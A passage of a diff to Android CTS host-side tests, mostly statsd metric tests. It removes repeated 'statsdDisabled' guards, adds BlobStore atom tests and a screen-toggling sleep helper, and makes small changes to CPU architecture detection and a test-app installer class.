public void testANROccurred() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
createAndUploadConfig(atomTag, false);
Thread.sleep(WAIT_TIME_SHORT);
@@ -1654,9 +1534,6 @@
}
public void testWriteRawTestAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
createAndUploadConfig(atomTag, true);
Thread.sleep(WAIT_TIME_SHORT);
@@ -1734,10 +1611,6 @@
}
public void testNotificationPackagePreferenceExtraction() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config,
Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER,
@@ -1774,10 +1647,6 @@
}
public void testNotificationChannelPreferencesExtraction() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config,
Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER,
@@ -1818,10 +1687,6 @@
}
public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config,
Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER,
@@ -1861,10 +1726,6 @@
}
public void testNotificationReported() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder config = getPulledConfig();
addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
Arrays.asList(createFvm(NotificationReported.PACKAGE_NAME_FIELD_NUMBER)
@@ -1891,9 +1752,6 @@
}
public void testSettingsStatsReported() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Base64 encoded proto com.android.service.nano.StringListParamProto,
// which contains two strings "font_scale" and "screen_auto_brightness_adj".
final String encoded = "ChpzY3JlZW5fYXV0b19icmlnaHRuZXNzX2FkagoKZm9udF9zY2FsZQ";
@@ -1951,10 +1809,6 @@
}
public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
createAndUploadConfig(AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
@@ -1999,12 +1853,9 @@
doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
final AtomsProto.MobileBytesTransferByFgBg data =
((Atom) atom).getMobileBytesTransferByFgBg();
- if (data.getUid() == appUid) {
+ if (data.getUid() == appUid && data.getIsForeground()) {
assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
data.getRxPackets(), data.getTxPackets());
- // IsForeground cannot be judged since foreground activity that launched
- // while screen off (PROCESS_STATE_TOP_SLEEPING) will be treated as background
- // in NetworkPolicyManagerService.
return true; // found
}
return false;
@@ -2017,25 +1868,27 @@
doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
final AtomsProto.DataUsageBytesTransfer data =
((Atom) atom).getDataUsageBytesTransfer();
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- // TODO: verify the RAT type field with the value gotten from device.
- if (subtypeCombined) {
- assertThat(data.getRatType()).isEqualTo(NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
- } else {
- assertThat(data.getRatType()).isGreaterThan(
- NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+ if (data.getState() == 1 /*NetworkStats.SET_FOREGROUND*/) {
+ assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets());
+ // TODO: verify the RAT type field with the value gotten from device.
+ if (subtypeCombined) {
+ assertThat(data.getRatType()).isEqualTo(
+ NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+ } else {
+ assertThat(data.getRatType()).isGreaterThan(
+ NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+ }
+
+ // Assert that subscription info is valid.
+ assertThat(data.getSimMcc()).matches("^\\d{3}$");
+ assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+ assertThat(data.getCarrierId()).isNotEqualTo(
+ -1); // TelephonyManager#UNKNOWN_CARRIER_ID
+
+ return true; // found
}
- // Foreground state cannot be judged since foreground activity that launched
- // while screen off (PROCESS_STATE_TOP_SLEEPING) will be treated as background
- // in NetworkPolicyManagerService.
-
- // Assert that subscription info is valid.
- assertThat(data.getSimMcc()).matches("^\\d{3}$");
- assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
- assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
-
- return true;
+ return false;
});
}
@@ -2071,6 +1924,107 @@
assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
}
+ public void testPushedBlobStoreStats() throws Exception {
+ StatsdConfig.Builder conf = createConfigBuilder();
+ addAtomEvent(conf, Atom.BLOB_COMMITTED_FIELD_NUMBER, false);
+ addAtomEvent(conf, Atom.BLOB_LEASED_FIELD_NUMBER, false);
+ addAtomEvent(conf, Atom.BLOB_OPENED_FIELD_NUMBER, false);
+ uploadConfig(conf);
+
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+
+ List<EventMetricData> data = getEventMetricDataList();
+ assertThat(data).hasSize(3);
+
+ BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+ final long blobId = blobCommitted.getBlobId();
+ final long blobSize = blobCommitted.getSize();
+ assertThat(blobCommitted.getUid()).isEqualTo(getUid());
+ assertThat(blobId).isNotEqualTo(0);
+ assertThat(blobSize).isNotEqualTo(0);
+ assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
+
+ BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+ assertThat(blobLeased.getUid()).isEqualTo(getUid());
+ assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+ assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+ assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
+
+ BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+ assertThat(blobOpened.getUid()).isEqualTo(getUid());
+ assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+ assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+ assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
+ }
+
+ // Constants that match the constants for AtomTests#testBlobStore
+ private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+ private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+ private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+ private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+ public void testPulledBlobStoreStats() throws Exception {
+ StatsdConfig.Builder config = createConfigBuilder();
+ addGaugeAtomWithDimensions(config,
+ Atom.BLOB_INFO_FIELD_NUMBER,
+ null);
+ uploadConfig(config);
+
+ final long testStartTimeMs = System.currentTimeMillis();
+ Thread.sleep(WAIT_TIME_SHORT);
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+ Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ // Add commit callback time to test end time to account for async execution
+ final long testEndTimeMs =
+ System.currentTimeMillis() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+ // Find the BlobInfo for the blob created in the test run
+ AtomsProto.BlobInfo blobInfo = null;
+ for (Atom atom : getGaugeMetricDataList()) {
+ if (atom.hasBlobInfo()) {
+ final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+ if (temp.getCommitters().getCommitter(0).getUid() == getUid()) {
+ blobInfo = temp;
+ break;
+ }
+ }
+ }
+ assertThat(blobInfo).isNotNull();
+
+ assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+ // Check that expiry time is reasonable
+ assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+ testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+ assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+ testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+ // Check that commit time is reasonable
+ final long commitTimeMs = blobInfo.getCommitters().getCommitter(
+ 0).getCommitTimestampMillis();
+ assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+ assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+ // Check that WHITELIST and PRIVATE access mode flags are set
+ assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+ assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
+ 1);
+
+ assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+ assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(getUid());
+
+ // Check that lease expiry time is reasonable
+ final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
+ 0).getLeaseExpiryTimestampMillis();
+ assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+ assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+ }
+
private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
assertThat(rxb).isGreaterThan(0L);
assertThat(txb).isGreaterThan(0L);
@@ -2080,7 +2034,6 @@
private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
throws Throwable {
- if (statsdDisabled()) return;
if (!hasFeature(FEATURE_TELEPHONY, true)) return;
// Get MobileBytesTransfer as a simple gauge metric.
@@ -2120,9 +2073,6 @@
}
public void testPackageInstallerV2MetricsReported() throws Throwable {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
new String[]{TEST_INSTALL_APK});
@@ -2137,9 +2087,6 @@
}
public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
@@ -2157,9 +2104,6 @@
}
public void testAppForegroundBackground() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = new HashSet<>(Arrays.asList(
AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
Set<Integer> offStates = new HashSet<>(Arrays.asList(
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index 4c0e4e6..7022732 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -44,9 +44,6 @@
// Tests that the statsd config is reset after the specified ttl.
public void testConfigTtl() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int TTL_TIME_SEC = 8;
StatsdConfig.Builder config = getBaseConfig();
config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
@@ -76,6 +73,7 @@
Thread.sleep(10);
}
doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
+ Thread.sleep(WAIT_TIME_SHORT);
report = getStatsdStatsReport();
LogUtil.CLog.d("got following statsdstats report: " + report.toString());
foundActiveConfig = false;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 81eb4f5..9eccad6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -45,9 +45,6 @@
public class CountMetricsTests extends DeviceAtomTestCase {
public void testSimpleEventCountMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
int matcherId = 1;
StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -72,9 +69,6 @@
assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
}
public void testEventCountWithCondition() throws Exception {
- if (statsdDisabled()) {
- return;
- }
int startMatcherId = 1;
int endMatcherId = 2;
int whatMatcherId = 3;
@@ -132,9 +126,6 @@
}
public void testEventCountWithConditionAndActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
int startMatcherId = 1;
int startMatcherLabel = 1;
int endMatcherId = 2;
@@ -259,9 +250,6 @@
}
public void testPartialBucketCountMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
int matcherId = 1;
StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -316,9 +304,6 @@
}
public void testSlicedStateCountMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
int whatMatcherId = 3;
@@ -430,10 +415,6 @@
}
public void testSlicedStateCountMetricNoReset() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
int whatMatcherId = 3;
int stateId = 4;
int onStateGroupId = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
index 75d86a8..1a553b2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
@@ -48,10 +48,6 @@
private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
public void testDurationMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int label = 1;
// Add AtomMatchers.
AtomMatcher startAtomMatcher =
@@ -105,10 +101,6 @@
}
public void testDurationMetricWithCondition() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int durationLabel = 1;
final int conditionLabel = 2;
@@ -218,10 +210,6 @@
}
public void testDurationMetricWithActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int activationMatcherId = 5;
final int activationMatcherLabel = 5;
final int ttlSec = 5;
@@ -311,10 +299,6 @@
}
public void testDurationMetricWithConditionAndActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int durationLabel = 1;
final int conditionLabel = 2;
final int activationMatcherId = 5;
@@ -488,9 +472,6 @@
}
public void testDurationMetricWithDimension() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatchers.
AtomMatcher startAtomMatcherA =
MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
index 16c3baf..2280e13 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
@@ -47,9 +47,6 @@
private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
public void testGaugeMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatcher's.
AtomMatcher startAtomMatcher =
MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -149,9 +146,6 @@
}
public void testPulledGaugeMetricWithActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatcher's.
int activationAtomMatcherId = 1;
int activationAtomMatcherLabel = 1;
@@ -202,10 +196,6 @@
}
public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int conditionLabel = 2;
final int activationMatcherId = 5;
final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index b976678..59e455b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -154,10 +154,6 @@
* Metric 3: No activations; always active
**/
public void testCancellation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int act1TtlSecs = 5;
final int act2TtlSecs = 8;
uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -255,10 +251,6 @@
* Metric 3: No activations; always active
**/
public void testRestart() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int act1TtlSecs = 100;
final int act2TtlSecs = 200;
uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -411,10 +403,6 @@
* Metric 3: No activations; always active
**/
public void testMultipleActivations() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int act1TtlSecs = 100;
final int act2TtlSecs = 200;
uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
index 475feda..0cf5bbb 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
@@ -49,9 +49,6 @@
private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
public void testValueMetric() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatcher's.
AtomMatcher startAtomMatcher =
MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -115,9 +112,6 @@
// Test value metric with pulled atoms and across multiple buckets
public void testPullerAcrossBuckets() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatcher's.
final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -195,9 +189,6 @@
// Test value metric with pulled atoms and across multiple buckets
public void testMultipleEventsPerBucket() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Add AtomMatcher's.
final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -279,10 +270,6 @@
// Test value metric with pulled atoms and across multiple buckets
public void testPullerAcrossBucketsWithActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder builder = createConfigBuilder();
// Add AtomMatcher's.
@@ -340,10 +327,6 @@
}
public void testValueMetricWithConditionAndActivation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int conditionLabel = 2;
final int activationMatcherId = 5;
final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index dab7f0f..8554de3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -33,9 +33,6 @@
// Tests that every report has at least one snapshot.
public void testUidSnapshotIncluded() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// There should be at least the test app installed during the test setup.
createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
@@ -67,9 +64,6 @@
// Tests that delta event included during app installation.
public void testChangeFromInstallation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
// Install the package after the config is sent to statsd. The uid map is not guaranteed to
@@ -96,9 +90,6 @@
// We check that a re-installation gives a change event (similar to an app upgrade).
public void testChangeFromReinstall() throws Exception {
- if (statsdDisabled()) {
- return;
- }
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
@@ -122,9 +113,6 @@
}
public void testChangeFromUninstall() throws Exception {
- if (statsdDisabled()) {
- return;
- }
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 95dbaa6..125a32a 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -82,14 +82,11 @@
*/
public void testPowerUse() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
resetBatteryStats();
unplugDevice();
- final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.8; // ratio that statsd and bs can differ
+ final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index bd14fa4..5b42aa9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -44,33 +44,30 @@
private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
public void testProcessStatePssValue() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
StatsdConfig config = createValidationUtil().getConfig(fileName);
LogUtil.CLog.d("Updating the following config:\n" + config.toString());
uploadConfig(config);
clearProcStats();
- Thread.sleep(WAIT_TIME_SHORT);
+ toggleScreenAndSleep(WAIT_TIME_SHORT);
// foreground service
executeForegroundService();
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
+ toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
// background
executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
+ toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
// top
executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
- Thread.sleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
+ toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
// Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
executeBackgroundService(ACTION_END_IMMEDIATELY);
final int cacheTime = 2_000; // process should be in cached state for up to this long
- Thread.sleep(cacheTime);
+ toggleScreenAndSleep(cacheTime);
// foreground
// overlay should take 2 sec to appear. So this makes it 4 sec in TOP
executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
+ toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
// Sorted list of events in order in which they occurred.
List<ValueMetricData> statsdData = getValueMetricDataList();
@@ -105,10 +102,15 @@
assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
}
+ private void toggleScreenAndSleep(final long duration) throws Exception {
+ final long half = duration >> 1;
+ Thread.sleep(half);
+ turnScreenOff();
+ Thread.sleep(half);
+ turnScreenOn();
+ }
+
public void testProcessStateByPulling() throws Exception {
- if (statsdDisabled()) {
- return;
- }
startProcStatsTesting();
clearProcStats();
Thread.sleep(WAIT_TIME_SHORT);
@@ -195,9 +197,6 @@
* Temporarily disable this test as the proc stats data being pulled into the statsd
* doesn't include the pkg part now.
*
- if (statsdDisabled()) {
- return;
- }
startProcStatsTesting();
clearProcStats();
Thread.sleep(WAIT_TIME_SHORT);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index f72a7a5..87f6840 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -79,9 +79,6 @@
}
public void testPartialWakelock() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
resetBatteryStats();
unplugDevice();
@@ -140,9 +137,6 @@
@RestrictedBuildTest
public void testPartialWakelockDuration() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
@@ -211,9 +205,6 @@
}
public void testPartialWakelockLoad() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!ENABLE_LOAD_TEST) return;
turnScreenOn(); // To ensure that the ScreenOff later gets logged.
uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
index c42faa2..674226c 100644
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -37,12 +37,14 @@
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.List;
+@Ignore
@RunWith(DeviceJUnit4ClassRunner.class)
public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
private static final String SHELL_AM_START_FG_SERVICE =
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index 7fac92e..294ec00 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -27,11 +27,11 @@
protected boolean supportsTaggedPointers = false;
private boolean supportsTaggedPointers() throws Exception {
- if (runCommand("grep 'Processor.*aarch64' /proc/cpuinfo").isEmpty()) {
+ String kernelVersion = runCommand("uname -rm");
+ if (!kernelVersion.contains("aarch64")) {
return false;
}
- String kernelVersion = runCommand("uname -r");
String kernelVersionSplit[] = kernelVersion.split("\\.");
if (kernelVersionSplit.length < 2) {
return false;
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index bf7aa1e..cb77517 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -81,21 +81,33 @@
mGetResourceStream = (res) -> TestApp.class.getClassLoader().getResourceAsStream(res);
}
- public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+ public TestApp(String name, String packageName, long versionCode, boolean isApex,
+ File[] paths) {
mName = name;
mPackageName = packageName;
mVersionCode = versionCode;
- mResourceNames = new String[] { path.getName() };
+ mResourceNames = new String[paths.length];
+ for (int i = 0; i < paths.length; ++i) {
+ mResourceNames[i] = paths[i].getName();
+ }
mIsApex = isApex;
mGetResourceStream = (res) -> {
try {
- return new FileInputStream(path);
- } catch (FileNotFoundException e) {
- return null;
+ for (int i = 0; i < paths.length; ++i) {
+ if (paths[i].getName().equals(res)) {
+ return new FileInputStream(paths[i]);
+ }
+ }
+ } catch (FileNotFoundException ignore) {
}
+ return null;
};
}
+ public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+ this(name, packageName, versionCode, isApex, new File[]{ path });
+ }
+
public String getPackageName() {
return mPackageName;
}
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 4a3570b..bb86844 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
